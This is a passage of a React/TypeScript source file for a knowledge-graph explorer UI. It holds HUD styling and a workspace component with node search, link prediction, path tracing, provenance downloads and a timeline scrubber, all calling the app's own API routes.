.hud-scrollbar::-webkit-scrollbar-track { background: transparent; }
|
||||
.hud-scrollbar::-webkit-scrollbar-thumb { background: rgba(88, 166, 255, 0.25); border-radius: 6px; }
|
||||
.graph-shell-top { position: absolute; top: 18px; left: 18px; right: 18px; z-index: 10; display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; pointer-events: none; }
|
||||
.graph-status-card, .graph-command-card {
|
||||
pointer-events: auto;
|
||||
border: 1px solid rgba(132, 197, 255, 0.12);
|
||||
background: linear-gradient(180deg, rgba(7, 16, 29, 0.86), rgba(10, 22, 39, 0.72)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 50%);
|
||||
box-shadow: 0 18px 42px rgba(0, 0, 0, 0.28), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
backdrop-filter: blur(18px);
|
||||
}
|
||||
.graph-status-card { width: min(420px, 38vw); border-radius: 24px; padding: 16px 18px; }
|
||||
.graph-command-card { width: min(620px, 55vw); border-radius: 24px; padding: 14px; display: flex; flex-direction: column; gap: 12px; }
|
||||
.graph-status-label { display: inline-flex; align-items: center; gap: 8px; color: rgba(160, 191, 223, 0.88); font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-status-label::before { content: ""; width: 7px; height: 7px; border-radius: 999px; background: linear-gradient(135deg, #8ed3ff, #ffb36a); box-shadow: 0 0 12px rgba(142, 211, 255, 0.5); }
|
||||
.graph-status-title { color: #eef5ff; font-size: 20px; font-weight: 800; letter-spacing: -0.04em; margin-bottom: 6px; }
|
||||
.graph-status-copy { color: #8fa8c6; font-size: 12px; line-height: 1.55; margin-bottom: 14px; max-width: 40ch; }
|
||||
.graph-status-metrics, .graph-command-row, .graph-toggle-cluster, .graph-action-cluster { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
.graph-command-row { justify-content: space-between; align-items: center; gap: 10px; }
|
||||
.graph-search-shell { flex: 1; min-width: 260px; display: flex; align-items: center; gap: 10px; padding: 8px 10px 8px 14px; border-radius: 18px; border: 1px solid rgba(132, 197, 255, 0.12); background: rgba(0, 0, 0, 0.18); box-shadow: inset 0 1px 0 rgba(255,255,255,0.03); }
|
||||
.graph-search-shell input { flex: 1; min-width: 0; border: none !important; background: transparent !important; padding: 0 !important; margin: 0 !important; }
|
||||
.graph-search-shell input:focus { outline: none; }
|
||||
.graph-search-results { position: absolute; top: 120px; right: 18px; width: min(420px, calc(100vw - 132px)); max-height: 320px; overflow-y: auto; padding: 12px; border-radius: 20px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.94), rgba(10, 21, 38, 0.86)); box-shadow: 0 18px 50px rgba(0,0,0,0.34); backdrop-filter: blur(18px); pointer-events: auto; z-index: 11; }
|
||||
.graph-search-results-label { color: #6f89ab; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-search-result-card { width: 100%; text-align: left; padding: 12px 14px; border-radius: 16px; border: 1px solid rgba(132, 197, 255, 0.08); background: rgba(255, 255, 255, 0.025); cursor: pointer; transition: transform 160ms ease, border-color 160ms ease, background 160ms ease; }
|
||||
.graph-search-result-card:hover { transform: translateY(-1px); border-color: rgba(132, 197, 255, 0.18); background: rgba(103, 182, 255, 0.08); }
|
||||
.graph-inspector { pointer-events: auto; position: absolute; right: 18px; top: 154px; bottom: 108px; width: 380px; overflow-y: auto; transition: transform 0.34s cubic-bezier(0.16,1,0.3,1), opacity 0.22s ease; border-radius: 28px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.9), rgba(6, 12, 22, 0.88)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 40%); box-shadow: -18px 0 48px rgba(0, 0, 0, 0.32), inset 0 1px 0 rgba(255,255,255,0.04); backdrop-filter: blur(20px); }
|
||||
.graph-inspector[data-open='false'] { transform: translateX(calc(100% + 24px)); opacity: 0; }
|
||||
@keyframes sem-loader-pulse {
|
||||
0%, 100% { transform: translateY(0) scale(0.92); opacity: 0.55; }
|
||||
50% { transform: translateY(-4px) scale(1.08); opacity: 1; }
|
||||
}
|
||||
@media (max-width: 1220px) {
|
||||
.graph-shell-top { flex-direction: column; align-items: stretch; }
|
||||
.graph-status-card, .graph-command-card { width: auto; }
|
||||
.graph-search-results { top: 202px; right: 18px; left: 18px; width: auto; }
|
||||
}
|
||||
`;
|
||||
|
||||
function useDebounce<T>(value: T, delay: number): T {
|
||||
const [debouncedValue, setDebouncedValue] = useState<T>(value);
|
||||
useEffect(() => {
|
||||
const timeout = setTimeout(() => setDebouncedValue(value), delay);
|
||||
return () => clearTimeout(timeout);
|
||||
}, [delay, value]);
|
||||
return debouncedValue;
|
||||
}
|
||||
|
||||
function sourceAttribution(properties: Record<string, unknown>) {
|
||||
const keys = ["source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"];
|
||||
return keys
|
||||
.filter((key) => key in properties)
|
||||
.map((key) => ({ key, value: properties[key] }));
|
||||
}
|
||||
|
||||
function toSelectedNodeState(node: ApiNode, neighborCount: number, fallbackColor = "#58a6ff"): GraphSelectedNodeState {
|
||||
return {
|
||||
id: node.id,
|
||||
label: node.content || node.id,
|
||||
content: node.content || node.id,
|
||||
nodeType: node.type,
|
||||
color: fallbackColor,
|
||||
valid_from: node.valid_from ?? null,
|
||||
valid_until: node.valid_until ?? null,
|
||||
properties: node.properties ?? {},
|
||||
neighborCount,
|
||||
visibleNeighborCount: neighborCount,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: neighborCount > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function TimelineFallback({ min, max }: TemporalBounds) {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
width: "100%",
|
||||
height: "90px",
|
||||
borderTop: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
background: "rgba(1, 4, 9, 0.88)",
|
||||
display: "flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "space-between",
|
||||
padding: "0 18px",
|
||||
color: "#8fa8c6",
|
||||
fontSize: 12,
|
||||
flexShrink: 0,
|
||||
}}
|
||||
>
|
||||
<span>Temporal scrubber</span>
|
||||
<span>{min || max ? "Preparing timeline runtime..." : "Temporal bounds loading..."}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function NodePanel({
|
||||
node,
|
||||
predictions,
|
||||
predictionType,
|
||||
onPredictionTypeChange,
|
||||
onRunPredictions,
|
||||
pathTargetId,
|
||||
onPathTargetChange,
|
||||
onTracePath,
|
||||
pathResult,
|
||||
onDownloadProvenance,
|
||||
}: {
|
||||
node: GraphSelectedNodeState | null;
|
||||
predictions: LinkPrediction[];
|
||||
predictionType: string;
|
||||
onPredictionTypeChange: (value: string) => void;
|
||||
onRunPredictions: () => void;
|
||||
pathTargetId: string;
|
||||
onPathTargetChange: (value: string) => void;
|
||||
onTracePath: () => void;
|
||||
pathResult: PathResponse | null;
|
||||
onDownloadProvenance: (format: "json" | "markdown") => void;
|
||||
}) {
|
||||
if (!node) {
|
||||
return (
|
||||
<div style={{ padding: 32, textAlign: "center" }}>
|
||||
<p style={{ color: "#8b949e", fontSize: 14, margin: 0 }}>
|
||||
Search for a node or click one in the canvas to inspect its properties.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const properties = node.properties ?? {};
|
||||
const attribution = sourceAttribution(properties);
|
||||
const accentColor = node.color || "#58a6ff";
|
||||
const propertyEntries = Object.entries(properties).filter(([key]) => !["x", "y", "valid_from", "valid_until", "content", "source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"].includes(key));
|
||||
|
||||
return (
|
||||
<aside style={{ padding: 24, display: "flex", flexDirection: "column", gap: 18 }}>
|
||||
<div style={{ borderBottom: "1px solid rgba(88, 166, 255, 0.14)", paddingBottom: 16 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", gap: 10, marginBottom: 8 }}>
|
||||
<span style={{ background: accentColor, boxShadow: `0 0 10px ${accentColor}`, width: 8, height: 8, borderRadius: "50%" }} />
|
||||
<span style={{ color: accentColor, fontSize: 12, fontWeight: 800, textTransform: "uppercase", letterSpacing: "0.08em" }}>{node.nodeType || "Entity"}</span>
|
||||
</div>
|
||||
<h3 style={{ margin: 0, color: "#fff", fontSize: 24, lineHeight: 1, fontWeight: 800, letterSpacing: "-0.04em", wordBreak: "break-word" }}>{node.label}</h3>
|
||||
<div style={{ color: "#8b949e", fontSize: 12, marginTop: 8 }}>{node.id}</div>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap", marginTop: 12 }}>
|
||||
{node.valid_from || node.valid_until ? <span style={subtleChipStyle}>temporal</span> : null}
|
||||
<span style={subtleChipStyle}>{node.neighborCount} neighbors</span>
|
||||
{attribution.length ? <span style={subtleChipStyle}>{attribution.length} source fields</span> : null}
|
||||
{predictions.length ? <span style={subtleChipStyle}>{predictions.length} candidate links</span> : null}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Actions</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 10 }}>
|
||||
<button style={{ ...actionButtonStyle, width: "100%", justifyContent: "center" }} onClick={onRunPredictions}>Run Link Prediction</button>
|
||||
<div style={{ display: "flex", gap: 8, flexWrap: "wrap" }}>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("json")}>Provenance JSON</button>
|
||||
<button style={secondaryActionButtonStyle} onClick={() => onDownloadProvenance("markdown")}>Provenance MD</button>
|
||||
</div>
|
||||
</div>
|
||||
<input value={predictionType} onChange={(event) => onPredictionTypeChange(event.target.value)} placeholder="Optional candidate type filter, e.g. disease" style={inputStyle} />
|
||||
</section>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Trace Path</div>
|
||||
<input value={pathTargetId} onChange={(event) => onPathTargetChange(event.target.value)} placeholder="Target node ID" style={inputStyle} />
|
||||
<button style={actionButtonStyle} onClick={onTracePath}>Trace Causal Path</button>
|
||||
{pathResult?.path?.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 6, marginTop: 10 }}>
|
||||
{pathResult.path.map((step, index) => (
|
||||
<div key={`${step}-${index}`} style={pathStepStyle}>{index + 1}. {step}</div>
|
||||
))}
|
||||
<div style={{ color: "#79c0ff", fontSize: 12, marginTop: 4 }}>total weight: {pathResult.total_weight.toFixed(3)}</div>
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Choose a target or click a candidate prediction to prepare a path trace.</div>
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details style={collapseStyle} open={predictions.length > 0}>
|
||||
<summary style={summaryStyle}>Candidate Links</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{predictions.length > 0 ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{predictions.map((prediction) => (
|
||||
<button key={`${prediction.target}-${prediction.type}`} style={predictionCardStyle} onClick={() => onPathTargetChange(prediction.target)}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{prediction.label || prediction.target}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{prediction.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>confidence {prediction.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Run link prediction to surface likely next-hop relationships.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Source Attribution</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{attribution.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{attribution.map(({ key, value }) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No explicit attribution metadata was found on this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Properties</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{propertyEntries.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{propertyEntries.map(([key, value]) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No additional properties are attached to this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
|
||||
export function GraphWorkspaceShell() {
|
||||
const [selectedNodeId, setSelectedNodeId] = useState("");
|
||||
const [selectedNodeState, setSelectedNodeState] = useState<GraphSelectedNodeState | null>(null);
|
||||
const [isLayoutRunning, setIsLayoutRunning] = useState(false);
|
||||
const [viewMode, setViewMode] = useState<GraphViewMode>("full");
|
||||
const [searchQuery, setSearchQuery] = useState("");
|
||||
const [searchResults, setSearchResults] = useState<SearchResult[]>([]);
|
||||
const [searchError, setSearchError] = useState("");
|
||||
const [predictionType, setPredictionType] = useState("");
|
||||
const [predictions, setPredictions] = useState<LinkPrediction[]>([]);
|
||||
const [pathTargetId, setPathTargetId] = useState("");
|
||||
const [pathResult, setPathResult] = useState<PathResponse | null>(null);
|
||||
const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
|
||||
const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
|
||||
const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
|
||||
// Deduplicates setScrubberTime calls by millisecond value — same fix as
|
||||
// GraphWorkspace.tsx (issue #830).
|
||||
const lastScrubberMsRef = useRef<number | null>(null);
|
||||
const onTimeChange = useCallback((time: Date) => {
|
||||
const ms = time.getTime();
|
||||
if (ms === lastScrubberMsRef.current) {
|
||||
return;
|
||||
}
|
||||
lastScrubberMsRef.current = ms;
|
||||
setScrubberTime(time);
|
||||
}, []);
|
||||
const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
|
||||
const [isGraphStageReady, setIsGraphStageReady] = useState(false);
|
||||
const [layoutStatus, setLayoutStatus] = useState<GraphLayoutStatus>({
|
||||
state: "idle",
|
||||
source: "runtime",
|
||||
hasCoordinates: false,
|
||||
layoutReady: false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
const debouncedTime = useDebounce(scrubberTime, 150);
|
||||
const stageRef = useRef<GraphStageHandle>(null);
|
||||
const reload = useReloadGraphData();
|
||||
const { data: snapshot, isLoading, isFetching, isError, error } = useGraphData({ enabled: true, onProgress: setLoadingProgress });
|
||||
|
||||
const handleSelectedNodeStateChange = useCallback((state: GraphSelectedNodeState | null) => {
|
||||
setSelectedNodeState(state);
|
||||
}, []);
|
||||
|
||||
const handleLayoutRunningChange = useCallback((running: boolean) => {
|
||||
setIsLayoutRunning(running);
|
||||
}, []);
|
||||
|
||||
const handleActiveNodeCountChange = useCallback((count: number | null) => {
|
||||
setActiveNodeCount(count);
|
||||
}, []);
|
||||
|
||||
const handleProgressChange = useCallback((progress: GraphLoadProgress | null) => {
|
||||
setLoadingProgress(progress);
|
||||
}, []);
|
||||
|
||||
const handleRuntimeReady = useCallback(() => {
|
||||
setIsGraphStageReady(true);
|
||||
}, []);
|
||||
|
||||
const handleLayoutStatusChange = useCallback((status: GraphLayoutStatus) => {
|
||||
setLayoutStatus(status);
|
||||
if (status.layoutReady) {
|
||||
setLoadingProgress(null);
|
||||
}
|
||||
}, []);
|
||||
|
||||
const [prevFetchedAt, setPrevFetchedAt] = useState(snapshot?.fetchedAt);
|
||||
if (snapshot?.fetchedAt !== prevFetchedAt) {
|
||||
setPrevFetchedAt(snapshot?.fetchedAt);
|
||||
if (snapshot) {
|
||||
setIsGraphStageReady(false);
|
||||
setActiveNodeCount(null);
|
||||
setLayoutStatus({
|
||||
state: snapshot.summary.layoutReady ? "interactive" : "idle",
|
||||
source: snapshot.summary.layoutSource ?? "runtime",
|
||||
hasCoordinates: snapshot.summary.hasCoordinates ?? false,
|
||||
layoutReady: snapshot.summary.layoutReady ?? false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
const loadBounds = async () => {
|
||||
try {
|
||||
const response = await fetch("/api/temporal/bounds");
|
||||
if (!response.ok || cancelled) return;
|
||||
const data: TemporalBounds = await response.json();
|
||||
if (!cancelled) setTemporalBounds(data);
|
||||
} catch {
|
||||
if (!cancelled) setTemporalBounds(null);
|
||||
}
|
||||
};
|
||||
void loadBounds();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [snapshot?.summary.nodeCount, snapshot?.summary.edgeCount]);
|
||||
|
||||
const neighborCountMap = useMemo(() => {
|
||||
const map = new Map<string, number>();
|
||||
if (!snapshot) return map;
|
||||
for (const node of snapshot.nodes) map.set(node.id, 0);
|
||||
for (const edge of snapshot.edges) {
|
||||
map.set(edge.source, (map.get(edge.source) ?? 0) + 1);
|
||||
map.set(edge.target, (map.get(edge.target) ?? 0) + 1);
|
||||
}
|
||||
return map;
|
||||
}, [snapshot]);
|
||||
|
||||
const visibleSelectedNode = useMemo(() => {
|
||||
if (!selectedNodeId) return null;
|
||||
if (selectedNodeState?.id === selectedNodeId) return selectedNodeState;
|
||||
const snapshotNode = snapshot?.nodes.find((candidate) => candidate.id === selectedNodeId);
|
||||
if (snapshotNode) return toSelectedNodeState(snapshotNode, neighborCountMap.get(snapshotNode.id) ?? 0);
|
||||
const searchNode = searchResults.find((candidate) => candidate.node.id === selectedNodeId)?.node;
|
||||
return searchNode
|
||||
? {
|
||||
id: searchNode.id,
|
||||
label: searchNode.content || searchNode.id,
|
||||
content: searchNode.content || searchNode.id,
|
||||
nodeType: searchNode.type,
|
||||
color: "#58a6ff",
|
||||
valid_from: null,
|
||||
valid_until: null,
|
||||
properties: searchNode.properties ?? {},
|
||||
neighborCount: 0,
|
||||
visibleNeighborCount: 0,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: false,
|
||||
}
|
||||
: null;
|
||||
}, [neighborCountMap, searchResults, selectedNodeId, selectedNodeState, snapshot]);
|
||||
|
||||
const focusNode = useCallback((nodeId: string) => {
|
||||
setSelectedNodeId(nodeId);
|
||||
setPathResult(null);
|
||||
|
||||
if (!nodeId) {
|
||||
setSelectedNodeState(null);
|
||||
setPredictions([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchResults([]);
|
||||
setIsLayoutRunning(false);
|
||||
}, []);
|
||||
|
||||
const handleSearch = useCallback(async () => {
|
||||
if (!searchQuery.trim()) {
|
||||
setSearchResults([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchError("");
|
||||
try {
|
||||
const response = await fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query: searchQuery, limit: 8 }),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setSearchResults(data.results || []);
|
||||
if (data.results?.length) {
|
||||
focusNode(data.results[0].node.id);
|
||||
}
|
||||
} catch (searchFetchError) {
|
||||
setSearchError(searchFetchError instanceof Error ? searchFetchError.message : "Search failed");
|
||||
}
|
||||
}, [focusNode, searchQuery]);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
try {
|
||||
const response = await fetch("/api/enrich/links", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
node_id: selectedNodeId,
|
||||
top_n: 6,
|
||||
candidate_type: predictionType || undefined,
|
||||
min_score: 0,
|
||||
}),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Link prediction failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setPredictions(data.predictions || []);
|
||||
} catch (predictionError) {
|
||||
console.error("[GraphWorkspaceShell] prediction failed", predictionError);
|
||||
setPredictions([]);
|
||||
}
|
||||
}, [predictionType, selectedNodeId]);
|
||||
|
||||
const handleTracePath = useCallback(async () => {
|
||||
if (!selectedNodeId || !pathTargetId.trim()) return;
|
||||
|
||||
try {
|
||||
const pathParams = new URLSearchParams({
|
||||
source: selectedNodeId,
|
||||
target: pathTargetId.trim(),
|
||||
algorithm: "dijkstra",
|
||||
});
|
||||
const response = await fetch(
|
||||
`/api/graph/path?${pathParams.toString()}`,
|
||||
);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Path lookup failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data: PathResponse = await response.json();
|
||||
setPathResult(data);
|
||||
if (data.path?.length) {
|
||||
const lastStep = data.path[data.path.length - 1];
|
||||
stageRef.current?.focusNode(lastStep);
|
||||
}
|
||||
} catch (pathError) {
|
||||
console.error("[GraphWorkspaceShell] path trace failed", pathError);
|
||||
setPathResult(null);
|
||||
}
|
||||
}, [pathTargetId, selectedNodeId]);
|
||||
|
||||
const handleDownloadProvenance = useCallback(async (format: "json" | "markdown") => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
const suffix = format === "markdown" ? "markdown" : "json";
|
||||
const response = await fetch(`/api/provenance/report?node_id=${encodeURIComponent(selectedNodeId)}&format=${suffix}`);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Provenance report failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const blob = await response.blob();
|
||||
const url = window.URL.createObjectURL(blob);
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = url;
|
||||
anchor.download = `${selectedNodeId}_provenance.${format === "markdown" ? "md" : "json"}`;
|
||||
document.body.appendChild(anchor);
|
||||
anchor.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
document.body.removeChild(anchor);
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const searchSummary = useMemo(() => {
|
||||
if (!searchResults.length) return null;
|
||||
return `${searchResults.length} search result${searchResults.length === 1 ? "" : "s"}`;
|
||||
}, [searchResults.length]);
|
||||
|
||||
const focusedSummary = useMemo(() => {
|
||||
if (!visibleSelectedNode) return null;
|
||||
if (viewMode === "focused") {
|
||||
const visibleNeighbors = Math.min(visibleSelectedNode.neighborCount, 16);
|
||||
return `${visibleNeighbors + 1} nodes in focused view`;
|
||||
}
|
||||
return `${visibleSelectedNode.neighborCount} direct neighbors highlighted`;
|
||||
}, [viewMode, visibleSelectedNode]);
|
||||
|
||||
const requestViewMode = useCallback((nextViewMode: GraphViewMode) => {
|
||||
if (nextViewMode === "focused") {
|
||||
if (!selectedNodeId) {
|
||||
return;
|
||||
}
|
||||
setViewMode("focused");
|
||||
setIsLayoutRunning(false);
|
||||
return;
|
||||
}
|
||||
|
||||
setViewMode("full");
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const showLoadingOverlay =
|
||||
isLoading
|
||||
|| isFetching
|
||||
|| !isGraphStageReady
|
||||
|| (layoutStatus.source === "runtime" && !layoutStatus.layoutReady && !selectedNodeId && viewMode === "full");
|
||||
|
||||
const layoutStatusLabel = useMemo(() => {
|
||||
if (layoutStatus.source === "provided" && layoutStatus.layoutReady) return "Persisted layout";
|
||||
if (layoutStatus.source === "carried" && layoutStatus.layoutReady) return "Preserved layout";
|
||||
if (layoutStatus.state === "bootstrapping") return "Bootstrapping layout";
|
||||
if (layoutStatus.state === "running") return "Stabilizing layout";
|
||||
if (layoutStatus.state === "failed") return "Layout timeout fallback";
|
||||
return null;
|
||||
}, [layoutStatus]);
|
||||
|
||||
return (
|
||||
<div className="palantir-bg" style={{ position: "relative", width: "100%", height: "100%", overflow: "hidden", display: "flex", flexDirection: "column" }}>
|
||||
<style>{HUD_CSS}</style>
|
||||
<div className="palantir-grid" />
|
||||
<div className="palantir-vignette" />
|
||||
|
||||
<div style={{ flex: 1, position: "relative", zIndex: 3, minHeight: 0 }}>
|
||||
<Suspense fallback={null}>
|
||||
<GraphRuntimeStage
|
||||
ref={stageRef}
|
||||
snapshot={snapshot}
|
||||
selectedNodeId={selectedNodeId}
|
||||
activePath={pathResult?.path ?? []}
|
||||
onNodeSelect={focusNode}
|
||||
onSelectedNodeStateChange={handleSelectedNodeStateChange}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={handleLayoutRunningChange}
|
||||
viewMode={viewMode}
|
||||
temporalTime={debouncedTime}
|
||||
onActiveNodeCountChange={handleActiveNodeCountChange}
|
||||
onProgressChange={handleProgressChange}
|
||||
onLayoutStatusChange={handleLayoutStatusChange}
|
||||
onRuntimeReady={handleRuntimeReady}
|
||||
/>
|
||||
</Suspense>
|
||||
<GraphLoadingOverlay
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={Boolean(loadingProgress?.showGraphBehind || isGraphStageReady)}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Suspense fallback={<TimelineFallback min={temporalBounds?.min ?? null} max={temporalBounds?.max ?? null} />}>
|
||||
<TimelinePanel
|
||||
onTimeChange={onTimeChange}
|
||||
minDate={temporalBounds?.min ?? undefined}
|
||||
maxDate={temporalBounds?.max ?? undefined}
|
||||
/>
|
||||
</Suspense>
|
||||
|
||||
<div style={{ position: "absolute", inset: 0, pointerEvents: "none", zIndex: 10 }}>
|
||||
<div className="graph-shell-top">
|
||||
<section className="graph-status-card">
|
||||
<div className="graph-status-label">Graph Studio</div>
|
||||
<div className="graph-status-title">{visibleSelectedNode ? visibleSelectedNode.label : "Knowledge Explorer"}</div>
|
||||
<div className="graph-status-metrics">
|
||||
{showLoadingOverlay && loadingProgress ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{getGraphLoadTitle(loadingProgress.phase)}</span> : null}
|
||||
{layoutStatusLabel ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{layoutStatusLabel}</span> : null}
|
||||
{snapshot ? <span style={metricPillStyle}>{snapshot.summary.nodeCount.toLocaleString()} nodes · {snapshot.summary.edgeCount.toLocaleString()} edges</span> : null}
|
||||
{activeNodeCount !== null ? <span style={{ ...metricPillStyle, color: "#4fd49c", borderColor: "rgba(79, 212, 156, 0.22)" }}>{activeNodeCount.toLocaleString()} active</span> : null}
|
||||
{searchSummary ? <span style={metricPillStyle}>{searchSummary}</span> : null}
|
||||
{focusedSummary ? <span style={{ ...metricPillStyle, color: "#f2b66d", borderColor: "rgba(242, 182, 109, 0.24)" }}>{focusedSummary}</span> : null}
|
||||
{isError ? <span style={{ ...metricPillStyle, color: "#ff8f85", borderColor: "rgba(255, 123, 114, 0.22)" }}>{(error as Error).message}</span> : null}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="graph-command-card">
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-toggle-cluster">
|
||||
{selectedNodeId ? (
|
||||
<>
|
||||
<button onClick={() => requestViewMode("focused")} style={{ ...actionButtonStyle, background: viewMode === "focused" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "focused" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Focused View</button>
|
||||
<button onClick={() => requestViewMode("full")} style={{ ...actionButtonStyle, background: viewMode === "full" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "full" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Full Graph</button>
|
||||
</>
|
||||
) : (
|
||||
<span style={{ color: "#7f95b3", fontSize: 12 }}>Select a node to switch graph views</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="graph-action-cluster">
|
||||
<button onClick={() => setIsLayoutRunning((value) => !value)} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
{isLayoutRunning ? "Pause Layout" : "Run Layout"}
|
||||
</button>
|
||||
<button onClick={() => { setIsGraphStageReady(false); reload(); }} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
Reload
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-search-shell">
|
||||
<input
|
||||
value={searchQuery}
|
||||
onChange={(event) => setSearchQuery(event.target.value)}
|
||||
onKeyDown={(event) => {
|
||||
if (event.key === "Enter") {
|
||||
void handleSearch();
|
||||
}
|
||||
}}
|
||||
placeholder="Search a node, e.g. Metformin"
|
||||
style={{ ...inputStyle, minWidth: 260 }}
|
||||
disabled={showLoadingOverlay && !selectedNodeId}
|
||||
/>
|
||||
<button onClick={() => void handleSearch()} style={actionButtonStyle} disabled={showLoadingOverlay && !selectedNodeId}>Search</button>
